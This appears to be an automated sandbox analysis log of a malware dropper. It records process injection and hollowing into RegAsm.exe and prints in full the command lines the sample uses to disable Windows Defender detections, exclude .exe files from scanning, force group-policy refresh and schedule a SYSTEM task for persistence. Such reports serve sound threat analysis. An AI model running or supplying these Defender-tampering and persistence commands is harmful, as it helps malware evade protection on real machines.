Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AEA16A9	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Indirect: 0x140F2B0BD	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72B1FDAE7	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtUnmapViewOfSection: Direct from: 0x7FF72B1FD2B8	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AEF3A83	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AE5CC21	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtClose: Direct from: 0x140F70048
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtUnmapViewOfSection: Direct from: 0x1417AC452	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AECC819	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Direct from: 0x140F741E1	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Direct from: 0x141829079	Jump to behavior
Source: C:\Users\user\Desktop\gHPYUEh253.exe	NtProtectVirtualMemory: Direct from: 0x7FF72AEFCE99	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZsQxSfwnc3ehFR9PxEV79BAM.exe	NtProtectVirtualMemory: Direct from: 0x141817E99	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Memory written: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe base: 400000 value starts with: 4D5A	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000 value starts with: 4D5A	Jump to behavior

Modifies Windows Defender protection settings

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

Sample uses process hollowing technique

Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe

Section unmapped: unknown base address: 400000

Jump to behavior

Searches for specific processes (likely to inject)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 11_2_004190A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

11_2_004190A0

Writes to foreign memory regions

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 426000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63B000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63C000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 848008	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: B2B008	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 400000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 401000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 41E000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 42B000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 63E000	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe base: 8EE008	Jump to behavior

Source: C:\Users\user\Documents\piratemamm\E7ZgIS5gIvcD0qYA4MsN8rsr.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\3rS3zgtrHYzvSBWEegYZ8AEZ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ZwL0OipB1WfKucHfLydAfltr.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\main\main.bat" /S"	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\8G7TUoanzGVBa0kCulY_TPPa.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\oOMgVil3z78TF92yUiI1jBjJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m ping.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bGRMUcRlXIkCKIeoVz" /SC once /ST 00:18:00 /RU "SYSTEM" /TR "\"C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe\" u3 /hggdidOLc 525403 /S" /V1 /F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mode.com mode 65,10
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e file.zip -p151921358818216190771159712614 -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_9.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_8.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_7.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_6.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_5.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\main\7z.exe 7z.exe e extracted/file_4.zip -oextracted
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: unknown unknown
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\gpupdate.exe "C:\Windows\system32\gpupdate.exe" /force
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6

Source: C:\Users\user\AppData\Local\Temp\7zS868.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "c:\windows\system32\cmd.exe" /c forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147735503 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147814524 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147780199 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /c reg add \"hklm\software\policies\microsoft\windows defender\threats\threatiddefaultaction\" /f /v 2147812831 /t reg_sz /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /c powershell start-process -windowstyle hidden gpupdate.exe /force"
